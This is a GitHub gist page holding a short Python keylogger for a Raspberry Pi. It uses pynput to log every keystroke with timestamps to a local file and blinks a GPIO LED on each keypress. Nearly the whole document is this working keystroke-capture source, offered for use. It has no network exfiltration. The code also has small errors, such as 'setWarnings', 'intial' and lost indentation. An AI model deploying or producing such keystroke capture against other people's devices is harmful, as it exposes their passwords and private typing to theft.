Skip to content

Instantly share code, notes, and snippets.

@iamprakash13
Created August 27, 2019 15:57
Show Gist options
  • Save iamprakash13/8e048d898a98142061325de3b8fda726 to your computer and use it in GitHub Desktop.
Save iamprakash13/8e048d898a98142061325de3b8fda726 to your computer and use it in GitHub Desktop.
simple keylooger file for raspi
from pynput.keyboard import Key, Listener
import RPi.GPIO as GPIO
import logging
from time import sleep
# setting gpio pin for led
GPIO.setWarnings(False)
GPIO.setmode(GPIO.BOARD)
GPIO.setup(8, GPIO.OUT, intial=GPIO.LOW)
#current directory
log_dir = ""
#creating new file and setting format of everyline to be printed
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
#add logging information before key value
def on_press(key):
logging.info(str(key))
GPIO.output(8, GPIO.HIGH)
sleep(0.05)
GPIO.output(8, GPIO.LOW)
#collect keys on pressed in keyboard
with Listener(on_press=on_press) as listener:
listener.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment